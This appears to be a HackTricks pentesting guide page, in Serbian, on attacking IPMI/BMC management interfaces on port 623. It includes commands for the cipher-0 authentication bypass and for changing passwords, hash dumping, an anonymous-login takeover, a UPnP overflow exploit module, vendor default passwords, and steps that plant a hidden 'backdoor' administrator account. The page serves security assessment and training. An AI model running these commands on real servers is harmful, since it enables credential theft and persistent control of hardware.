7.9 KiB

623/UDP/TCP - IPMI

{{#include ../banners/hacktricks-training.md}}

Osnovne informacije

Pregled IPMI

Intelligent Platform Management Interface (IPMI) nudi standardizovani pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima na daljinu, čak i kada su isključeni ili neodgovaraju, i posebno je korisna za:

  • Pre-OS konfiguracije pri pokretanju
  • Upravljanje isključenjem
  • Oporavak od sistemskih grešaka

IPMI je sposoban da nadgleda temperature, napone, brzine ventilatora i napajanja, uz pružanje informacija o inventaru, pregled hardverskih logova i slanje upozorenja putem SNMP-a. Osnovni zahtevi za njegov rad su izvor napajanja i LAN konekcija.

Od svog uvođenja od strane Intela 1998. godine, IPMI su podržavali brojni dobavljači, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijski prenos preko LAN-a. Ključne komponente uključuju:

  • Baseboard Management Controller (BMC): Glavni mikro-kontroler za IPMI operacije.
  • Komunikacione magistrale i interfejsi: Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i razne interfejse za lokalne i mrežne konekcije.
  • IPMI Memorija: Za čuvanje logova i podataka.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Podrazumevani port: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)

Enumeracija

Otkriće

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Možete identifikovati verziju koristeći:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

U oblasti IPMI 2.0, značajna sigurnosna greška je otkrivena od strane Dana Farmera, otkrivajući ranjivost kroz cipher type 0. Ova ranjivost, detaljno dokumentovana na Dan Farmer's research, omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička adresa. Ova slabost je pronađena kod raznih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše na široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.

IPMI Authentication Bypass via Cipher 0

Da bi se otkrila ova greška, može se koristiti sledeći Metasploit auxiliary scanner:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Eksploatacija ove greške je moguća sa ipmitool, kao što je prikazano u nastavku, omogućavajući listanje i modifikaciju korisničkih lozinki:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP autentifikacija daljinskog preuzimanja heširanih lozinki

Ova ranjivost omogućava preuzimanje heširanih lozinki sa solju (MD5 i SHA1) za bilo koje postojeće korisničko ime. Da biste testirali ovu ranjivost, Metasploit nudi modul:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI anonimna autentifikacija

Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše praznim korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki korisničkih naloga koristeći ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Lozinke u Čistom Tekstu

Kritična dizajnerska odluka u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhu autentifikacije. Skladištenje ovih lozinki na mestima kao što su /nv/PSBlock ili /nv/PSStore postavlja značajne bezbednosne brige:

cat /nv/PSBlock

Supermicro IPMI UPnP Ranljivost

Uključivanje UPnP SSDP slušatelja u Supermicro-ovom IPMI firmveru, posebno na UDP portu 1900, uvodi ozbiljan bezbednosni rizik. Ranljivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u Rapid7-ovom otkriću, omogućavaju pristup root-u BMC-u:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP nasumično generiše podrazumevanu lozinku za svoj Integrated Lights Out (iLO) proizvod tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača, koji obično koriste statične podrazumevane akreditive. Sažetak podrazumevanih korisničkih imena i lozinki za različite proizvode je dat u nastavku:

  • HP Integrated Lights Out (iLO) koristi fabricki nasumično generisanu 8-znamenkastu string kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
  • Proizvodi kao što su Dellov iDRAC, IBM-ov IMM i Fujitsu-ov Integrated Remote Management Controller koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
  • Slično tome, Supermicro IPMI (2.0), Oracle/Sun ILOM i ASUS iKVM BMC takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.

Accessing the Host via BMC

Administrativni pristup Kontroleru za upravljanje matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći init=/bin/sh) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM-a BMC-a ili serijske veze preko LAN-a (sol) putem ipmitool. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, kao što su i2c magistrala i Super I/O čip, je oblast koja zahteva dalju istragu.

Introducing Backdoors into BMC from the Host

Nakon kompromitovanja hosta opremljenog BMC-om, lokalni BMC interfejs se može iskoristiti za umetanje backdoor korisničkog naloga, stvarajući trajnu prisutnost na serveru. Ovaj napad zahteva prisustvo ipmitool na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubrizgati u BMC koristeći lokalni interfejs hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika je primenljiva na širok spektar operativnih sistema uključujući Linux, Windows, BSD, pa čak i DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

{{#include ../banners/hacktricks-training.md}}